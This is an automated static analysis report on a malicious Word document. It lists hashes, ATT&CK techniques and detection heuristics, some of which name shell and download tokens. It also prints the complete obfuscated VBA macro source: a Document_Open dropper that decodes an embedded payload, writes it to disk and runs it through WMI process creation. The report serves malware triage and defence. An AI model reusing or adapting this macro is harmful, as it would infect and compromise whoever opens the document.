Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 b3d86fcd4979e799…

MALICIOUS

Office (OOXML) / .DOCX

1.31 MB Created: 2022-12-23 18:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-12
MD5: 09c5492db7859ff2b639e1f3935f61a7 SHA-1: 1c12523ab297568bc30d2cf6c06a45fb858d8973 SHA-256: b3d86fcd4979e799fb3eac6db4281cbdb0495fe0fffb854163481fdc3f24d6f9
272 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing an obfuscated VBA macro that executes upon opening. The macro attempts to download and execute a second-stage payload, as indicated by the 'auto-exec + custom decoder + CreateObject/Shell/exec sink' heuristic and ClamAV detection. The presence of the 'Document_Open' macro and the use of 'CreateObject' and 'GetObject' calls are strong indicators of malicious intent.

Heuristics 9

  • ClamAV: Doc.Downloader.afc5c039d11fd238-9978787-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.afc5c039d11fd238-9978787-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set whlhgdkoeq = CreateObject("Scripting.Dictionary")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set whlhgdkoeq = CreateObject("Scripting.Dictionary")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
                Set fhfcsnunstz = GetObject(rrhzspxkphvvy(iujnoejlhsccsg))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7009 bytes
SHA-256: 56084285d7df163c75401dc75bc2a7f6d867e719274ed108304399057a3d12b4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
55 of 109 identifiers look randomly generated (e.g. 'pvnynzivlnpbtfcckhkm') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub obiwgfhsha()
End Sub
Private Function ylpdfpnmlbmswkm() As Variant
    ylpdfpnmlbmswkm = Array("chs", "cht", "deu", "enu", "esn", "fra", "ita", "jpn", "kor", "rus")
End Function
Private Function cwqykutktzoyalcwyhbf() As Variant
    cwqykutktzoyalcwyhbf = Array("A1", "BU", "CZ", "DA", "FI", "FR", "GR", "HE", "HEB", "HU", "IC", "IT", "KOR", "NE", "NO", "PL1", "RO", "RU", "SP")
End Function
Private Sub Document_Open()
    zwxcnxajcshyp True
End Sub
Private Sub dtlqnhxneoffkjywab(kwzbshccypfxpbrc As Boolean)
    If Dir(".gattaka") <> "" Then
        MsgBox "Not applicable environment", vbCritical, "Error"
    Else
        
    End If
End Sub
Private Function tylkftcicrjxfvkh(jrdhrfrnwmiz As String) As Byte()
    Dim tjsjtweivmxniyr As Long, cthcsdekmdaszjq As Long
    Dim wzkjzdvximq() As Byte
    Dim ayxhcvijnqwfjysy As Long
    Dim sndhqsilovqxlairz As String
    tjsjtweivmxniyr = Len(jrdhrfrnwmiz)
    ReDim wzkjzdvximq(0 To tjsjtweivmxniyr / 2 - 1)
    ayxhcvijnqwfjysy = LBound(wzkjzdvximq)
    sndhqsilovqxlairz = rrhzspxkphvvy("137171")
    For cthcsdekmdaszjq = tjsjtweivmxniyr - 1 To 0 Step -2
        wzkjzdvximq(ayxhcvijnqwfjysy) = CByte(CLng(sndhqsilovqxlairz + (Mid(jrdhrfrnwmiz, cthcsdekmdaszjq, 2))))
        ayxhcvijnqwfjysy = ayxhcvijnqwfjysy + 1
    Next cthcsdekmdaszjq
    tylkftcicrjxfvkh = wzkjzdvximq
End Function
Private Sub raeozmfjnymq(pvnynzivlnpbtfcckhkm As String, cpnptsrgjlywqowekc() As Byte, Optional tiifnysxfmhsk As Boolean = False)
    Dim dehrfnjjvdqvcc As Integer
    Dim vnffvklapudjuz As String
    Dim qpichnhnlchfa As String
    If Not tiifnysxfmhsk Then
        dehrfnjjvdqvcc = FreeFile
        Open pvnynzivlnpbtfcckhkm For Binary As #dehrfnjjvdqvcc
        Put #dehrfnjjvdqvcc, 1, cpnptsrgjlywqowekc
        Close #dehrfnjjvdqvcc
    Else
        vnffvklapudjuz = "Abnormal termination"
        MsgBox vnffvklapudjuz, vbCritical
    End If
End Sub
Public Function rrhzspxkphvvy(fdoeegskucopx As String, Optional ghsivksfeumnzg As Long = 3) As String
    Dim jzlnlozvokud As Object
    Dim pudllqzagmavmy As Long
    Dim fmxstnluywhfyhfeagi As String
    Set jzlnlozvokud = siudlfagynaqsgxowx(60, 510, 99, 2)
    For pudllqzagmavmy = 1 To Len(fdoeegskucopx) Step ghsivksfeumnzg
        fmxstnluywhfyhfeagi = fmxstnluywhfyhfeagi + jzlnlozvokud(CInt(Mid(fdoeegskucopx, pudllqzagmavmy, ghsivksfeumnzg)))
    Next pudllqzagmavmy
    rrhzspxkphvvy = fmxstnluywhfyhfeagi
End Function
Private Function siudlfagynaqsgxowx(gegsprvpfmdyscnbyit As Long, fbhkzyybhnzl As Long, uywjraarktmwpduqnygc As Long, rknjbtxnvcdpfsyob As Long) As Object
    Dim whlhgdkoeq As Object
    Dim esxcxsbnadcjdqp As Long
    Set whlhgdkoeq = CreateObject("Scripting.Dictionary")
    For esxcxsbnadcjdqp = gegsprvpfmdyscnbyit / rknjbtxnvcdpfsyob To fbhkzyybhnzl / rknjbtxnvcdpfsyob
        whlhgdkoeq(esxcxsbnadcjdqp + uywjraarktmwpduqnygc) = Chr(esxcxsbnadcjdqp)
    Next esxcxsbnadcjdqp
    Set siudlfagynaqsgxowx = whlhgdkoeq
End Function
Private Function zmzddjxylinzyx(lpxbxbgcxxpgmj() As Byte, rmbcpbmsbs() As Byte) As Byte()
    Dim cwwodgeulknd() As Byte
    Dim tsvilkfgvtu As Long, smbekfvtubycqf As Long
    ReDim cwwodgeulknd(0 To UBound(lpxbxbgcxxpgmj) + UBound(rmbcpbmsbs) + 1)
    smbekfvtubycqf = 0
    For tsvilkfgvtu = LBound(lpxbxbgcxxpgmj) To UBound(lpxbxbgcxxpgmj)
        cwwodgeulknd(smbekfvtubycqf) = lpxbxbgcxxpgmj(tsvilkfgvtu)
        smbekfvtubycqf = smbekfvtubycqf + 1
    Next tsvilkfgvtu
    For tsvilkfgvtu = LBound(rmbcpbmsbs) To UBound(rmbcpbmsbs)
        cwwodgeulknd(smbekfvtubycqf) = rmbcpbmsbs(tsvilkfgvtu)
        smbekfvtubycqf = smbekfvtubycqf + 1
    Next tsvilkfgvtu
    zmzddjxylinzyx = cwwodgeulknd
End Function
Private Function lcjsxjbkldksstie() As Byte()
    Const retkrmjepnvpt = "174165"
    Const kppsxxgzlizwzk = "145167175175"
    Dim bvtmffmapjkqz As Integer
    Dim phtlfmyqnkhwagf As Variant
    Dim xijjpjosysboevz() As Byte
    Dim asertrmporfilkp() As Byte
    Dim qbtpnhioyfve() As Byte
    Randomize
    bvtmffmapjkqz = CInt(Rnd * 100)
    If bvtmffmapjkqz > 100 Then
        phtlfmyqnkhwagf = ylpdfpnmlbmswkm
    Else
        phtlfmyqnkhwagf = cwqykutktzoyalcwyhbf
    End If
    bvtmffmapjkqz = Rnd * UBound(phtlfmyqnkhwagf)
    xijjpjosysboevz = phtlfmyqnkhwagf(bvtmffmapjkqz)
    qbtpnhioyfve = zmzddjxylinzyx(rrhzspxkphvvy(retkrmjepnvpt), xijjpjosysboevz)
    ReDim asertrmporfilkp(0 To 1)
    asertrmporfilkp(0) = CInt(Rnd * 9 + 48)
    qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
    asertrmporfilkp = rrhzspxkphvvy(kppsxxgzlizwzk)
    qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
    lcjsxjbkldksstie = qbtpnhioyfve
End Function
Sub yoxtuitsmsvbjfepuxc()
    zwxcnxajcshyp True
End Sub
Private Sub zwxcnxajcshyp(zdhyapqsagz As Boolean)
    Const merrdjtosyhjjuraz = "166157191179213210202213196208167196215196191"
    Const iujnoejlhsccsg = "218204209208202208215214157222204208211200213214210209196215204210209175200217200207160204208211200213214210209196215200224132191191145191213210210215191198204208217149"
    Const qpwyadnvluauprq = "186204209150149194179213210198200214214182215196213215216211"
    Const lwflmkaqbtsalhmvh = "218204209208202208215214157213210210215191198204208217149157186204209150149194179213210198200214214"
    Const ichejlnhmywnfzndkdg = "203215215211157146146207210198196207203210214215146"
    Dim pnjbsrngsgckjayoasd() As Byte
    Dim diowrynmsjektmzbl As String
    Dim nvplchnzsnuzfpoy As String
    If Dir(".gattaka") <> "" Then
        MsgBox "Obsolete environment, please, update", vbInformation
    Else
        If zdhyapqsagz Then
            pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts(rrhzspxkphvvy(ichejlnhmywnfzndkdg)).SelectSingleNode("/").Text)
            diowrynmsjektmzbl = lcjsxjbkldksstie
            raeozmfjnymq rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
            pnjbsrngsgckjayoasd = rrhzspxkphvvy(merrdjtosyhjjuraz)
            Set fhfcsnunstz = GetObject(rrhzspxkphvvy(iujnoejlhsccsg))
            Set xydisndhrfnkrmnael = fhfcsnunstz.Get(rrhzspxkphvvy(qpwyadnvluauprq))
            Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
            Set mpuduxzmupgceh = GetObject(rrhzspxkphvvy(lwflmkaqbtsalhmvh))
            nvplchnzsnuzfpoy = rrhzspxkphvvy("213216209199207207150149131") + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + rrhzspxkphvvy("143204209204215")
            vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
        Else
        End If
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: ead2135efa802503cd31cc59582bed482de6d3da81c3271b72ceb05a118f8288
Detection
ClamAV: No threats found
Obfuscation or payload: likely
142 of 245 identifiers look randomly generated (e.g. 'BEBC516CDFF4A7F5A7F558') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).

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